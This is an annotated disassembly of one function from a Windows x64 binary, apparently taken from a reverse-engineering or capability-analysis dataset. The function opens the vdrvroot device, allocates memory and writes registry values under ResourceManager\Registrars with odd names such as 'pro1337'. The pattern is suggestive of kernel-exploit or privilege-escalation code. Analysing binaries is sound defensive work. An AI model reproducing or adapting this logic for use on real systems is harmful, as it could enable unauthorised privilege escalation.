Function at 0x140001370
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x47]
sub rsp, 0x100
mov rax, qword [0x140052010]
xor rax, rsp
mov qword [rbp + 0x2f], rax
mov rbx, qword [0x1400528e8]
lea rcx, str.._vdrvroot
xor edi, edi
xor r9d, r9d
mov qword [rsp + 0x30], rdi
mov edx, 0xc0000000
mov dword [rsp + 0x28], edi
mov dword [rbx + 0x20], edi
lea r8d, [rdi + 3]
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rbx + 0x10], rax
cmp rax, 0xffffffffffffffff
je 0x14000170f
lea edx, [rdi + 0x20]
xor ecx, ecx
lea r9d, [rdi + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbx + 8], rax
lea rsi, [rbx + 8]
test rax, rax
je 0x14000170f
mov dword [rbp - 0x59], 0x6a0068
lea rax, str.RegistryMachineSYSTEMResourceManagerRegistrars_
mov qword [rbp - 0x51], rax
lea r8, [rbp - 0x49]
lea rax, str.samsungpro
mov dword [rbp - 0x19], 0x160014
mov qword [rbp - 0x11], rax
lea rcx, [rbp - 0x69]
movaps xmm0, xmmword [rbp - 0x19]
lea rax, [rbp - 0x59]
mov qword [rsp + 0x120], r14
mov edx, 0xf003f
movdqa xmmword [rbp - 0x79], xmm0
xorps xmm0, xmm0
mov qword [rsp + 0x128], r15
movaps xmmword [rsp + 0xf0], xmm6
movaps xmm6, xmmword [rbp - 0x59]
movdqu xmmword [rbp - 0x29], xmm0
mov dword [rbp - 0x49], 0x30
movdqa xmmword [rbp - 0x59], xmm6
mov qword [rbp - 0x41], rdi
mov dword [rbp - 0x31], 0x240
mov qword [rbp - 0x39], rax
call qword [sym.imp.ntdll.dll_ZwOpenKey]
test eax, eax
jns 0x1400014af
mov qword [rsp + 0x30], rdi
lea rax, [rbp - 0x59]
mov dword [rsp + 0x28], edi
lea r8, [rbp - 0x49]
xor r9d, r9d
mov qword [rsp + 0x20], rax
mov edx, 0xf003f
lea rcx, [rbp - 0x69]
call qword [sym.imp.ntdll.dll_ZwCreateKey]
test eax, eax
js 0x1400014d3
mov rcx, qword [rbp - 0x69]
lea rdx, [rbp - 0x79]
mov dword [rsp + 0x28], 8
mov r9d, 0xb
xor r8d, r8d
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ntdll.dll_ZwSetValueKey]
mov rcx, qword [rbp - 0x69]
call qword [sym.imp.ntdll.dll_ZwClose]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rbp - 0x59], 0x140012
lea r8, [rbp - 0x49]
mov eax, eax
lea rcx, [rbp - 0x69]
mov qword [rbp - 0x19], rax
mov edx, 0xf003f
lea rax, str.soarluvsu
movdqa xmmword [rbp - 0x79], xmm6
mov qword [rbp - 0x51], rax
lea rax, [rbp - 0x79]
movaps xmm0, xmmword [rbp - 0x59]
movdqa xmmword [rbp - 0x59], xmm0
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x29], xmm0
mov dword [rbp - 0x49], 0x30
mov qword [rbp - 0x41], rdi
mov dword [rbp - 0x31], 0x240
mov qword [rbp - 0x39], rax
call qword [sym.imp.ntdll.dll_ZwOpenKey]
test eax, eax
jns 0x14000156e
mov qword [rsp + 0x30], rdi
lea rax, [rbp - 0x79]
mov dword [rsp + 0x28], edi
lea r8, [rbp - 0x49]
xor r9d, r9d
mov qword [rsp + 0x20], rax
mov edx, 0xf003f
lea rcx, [rbp - 0x69]
call qword [sym.imp.ntdll.dll_ZwCreateKey]
test eax, eax
js 0x140001596
mov rcx, qword [rbp - 0x69]
lea rax, [rbp - 0x19]
mov dword [rsp + 0x28], 8
lea rdx, [rbp - 0x59]
mov r9d, 0xb
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ntdll.dll_ZwSetValueKey]
mov rcx, qword [rbp - 0x69]
call qword [sym.imp.ntdll.dll_ZwClose]
lea rax, [rbp - 0x69]
mov dword [rbp - 0x41], 0x21
mov qword [rbp - 0x31], rax
lea r15, [rbx + 0x18]
mov rax, qword [rsi]
mov qword [rbp - 0x49], r15
movups xmm0, xmmword [rbp - 0x49]
mov qword [rbp - 0x39], rdi
movups xmm1, xmmword [rbp - 0x39]
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm1
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
lea rax, str.pro1337
mov dword [rbp - 0x59], 0x10000e
mov qword [rbp - 0x51], rax
lea r8, [rbp - 9]
movaps xmm0, xmmword [rbp - 0x59]
lea rax, [rbp - 0x49]
movdqa xmmword [rbp - 0x79], xmm0
lea rcx, [rbp - 0x59]
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x49], xmm6
mov edx, 0xf003f
mov dword [rbp - 9], 0x30
movdqu xmmword [rbp + 0x17], xmm0
mov qword [rbp - 1], rdi
mov dword [rbp + 0xf], 0x240
mov qword [rbp + 7], rax
call qword [sym.imp.ntdll.dll_ZwOpenKey]
movaps xmm6, xmmword [rsp + 0xf0]
test eax, eax
js 0x1400016f8
mov rcx, qword [rbp - 0x59]
lea rax, [rbp + 0x27]
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rdx, [rbp - 0x79]
mov dword [rsp + 0x20], edi
lea r8d, [r9 + 1]
call qword [sym.imp.ntdll.dll_ZwQueryValueKey]
cmp eax, 0xc0000023
je 0x14000166c
cmp eax, 0x80000005
jne 0x140001675
mov r14d, dword [rbp + 0x27]
test r14d, r14d
jne 0x140001681
mov rcx, qword [rbp - 0x59]
call qword [sym.imp.ntdll.dll_ZwClose]
jmp 0x1400016f8
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r8, r14
xor edx, edx
mov rcx, rax
mov rsi, rax
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [rbp - 0x59]
lea rax, [rbp - 0x69]
mov qword [rsp + 0x28], rax
lea rdx, [rbp - 0x79]
mov r9, rsi
mov dword [rsp + 0x20], r14d
mov r8d, 1
call qword [sym.imp.ntdll.dll_ZwQueryValueKey]
test eax, eax
js 0x1400016e5
cmp r14d, dword [rbp - 0x69]
jne 0x1400016e5
mov rcx, qword [rbp - 0x59]
call qword [sym.imp.ntdll.dll_ZwClose]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov eax, dword [rsi + 8]
mov rdi, qword [rax + rsi]
jmp 0x1400016f8
mov rcx, qword [rbp - 0x59]
call qword [sym.imp.ntdll.dll_ZwClose]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov r14, qword [rsp + 0x120]
mov al, 1
mov qword [r15], rdi
mov r15, qword [rsp + 0x128]
jmp 0x140001711
xor al, al
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.140042d20
mov rbx, qword [rsp + 0x130]
add rsp, 0x100
pop rdi
pop rsi
pop rbp
ret